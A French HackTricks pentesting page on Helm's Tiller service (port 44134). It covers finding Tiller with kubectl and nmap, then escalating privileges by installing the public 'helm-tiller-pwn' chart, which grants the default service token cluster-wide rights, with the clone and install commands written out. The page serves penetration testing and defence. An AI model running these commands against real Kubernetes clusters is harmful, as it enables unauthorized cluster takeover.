4.4 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Informations de base
Helm est le gestionnaire de packages pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des référentiels publics et privés. Ces packages sont appelés Helm Charts. Tiller est le service exécuté par défaut sur le port 44134 offrant le service.
Port par défaut : 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Énumération
Si vous pouvez énumérer les pods et/ou services de différents espaces de noms, énumérez-les et recherchez ceux avec "tiller" dans leur nom:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Exemples :
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Vous pourriez également essayer de trouver ce service en vérifiant le port 44134 :
sudo nmap -sS -p 44134 <IP>
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils comme homebrew
, ou consulter la page des versions officielles. Pour plus de détails, ou pour d'autres options, consultez le guide d'installation.
Ensuite, vous pouvez énumérer le service:
helm --host tiller-deploy.kube-system:44134 version
Élévation de privilèges
Par défaut, Helm2 était installé dans l'espace de noms kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'élever les privilèges.
Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera accès au jeton de service par défaut à tout dans l'ensemble du cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
Dans http://rui0.cn/archives/1573, vous avez l'explication de l'attaque, mais en gros, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml à l'intérieur de helm-tiller-pwn/pwnchart/templates/ vous pouvez voir comment tous les privilèges sont accordés au jeton par défaut.